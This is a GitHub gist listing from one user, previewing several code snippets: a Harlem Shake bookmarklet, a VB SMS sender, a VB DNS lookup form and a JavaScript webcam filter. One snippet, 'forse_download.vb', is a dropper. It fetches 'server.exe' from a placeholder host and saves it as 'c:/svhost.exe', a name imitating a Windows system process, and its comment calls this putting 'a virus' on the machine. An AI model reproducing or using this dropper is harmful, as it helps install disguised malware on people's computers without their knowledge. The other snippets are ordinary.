Skip to content

Instantly share code, notes, and snippets.

View sadik-fattah's full-sized avatar
🇲🇦
Working from home

sadik sadik-fattah

🇲🇦
Working from home
View GitHub Profile
@sadik-fattah
sadik-fattah / harlm_sheck.js
Last active November 3, 2021 08:34
harlm sheck
javascript:(function(){function c(){var e=document.createElement("link");e.setAttribute("type","text/css");e.setAttribute("rel","stylesheet");e.setAttribute("href",f);e.setAttribute("class",l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t<e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement("div");e.setAttribute("class",a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height>e&&s.height<n&&s.width>t&&s.width<r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}funct
@sadik-fattah
sadik-fattah / forse_download.vb
Created October 30, 2021 11:22
a forcing downloding file with vb
'in general declaration
import system.net
'=========================
'in class or load form
dim link as string = "http://domain.com/server.exe"'your direct link server or patsh
dim serv as string = "c:/svhost.exe"'The path that you want to put a virus in it
my.computer.network.downloadFile(link,serv)'download the server from internet
@sadik-fattah
sadik-fattah / sms.vb
Created June 10, 2020 17:30
senfing sms from Clockwork
Imports Clockwork
Imports System.Net
Public Class Form1
Private Sub BTNsend_Click(sender As Object, e As EventArgs) Handles BTNsend.Click
If Textphone.Text & TextMessage.Text & TextKey.Text = "" Then
MessageBox.Show("راك خليت المستطيلات خاويين")
End If
Try
Dim api As Clockwork.API = New Clockwork.API(TextKey.Text)
@sadik-fattah
sadik-fattah / download.vb
Created June 10, 2020 17:14
Download from machine
'make form . 2 labels , 2 button the copyright if you wont do !!
put this code to button1 (get ip)
If TextBox1.Text = " " Then
MessageBox.Show("please Enter WebSite")
End If
Dim Hostname As IPHostEntry = Dns.GetHostEntry(TextBox1.Text)
Dim ip As IPAddress() = Hostname.AddressList
@sadik-fattah
sadik-fattah / test.js
Created January 25, 2019 20:30
testing
(function (){
var
file
, webcam // current Camera
, filter = 'vintage' // default filter
, processing = false
;
function _choose(state){
choose.style.display = state ? '' : 'none';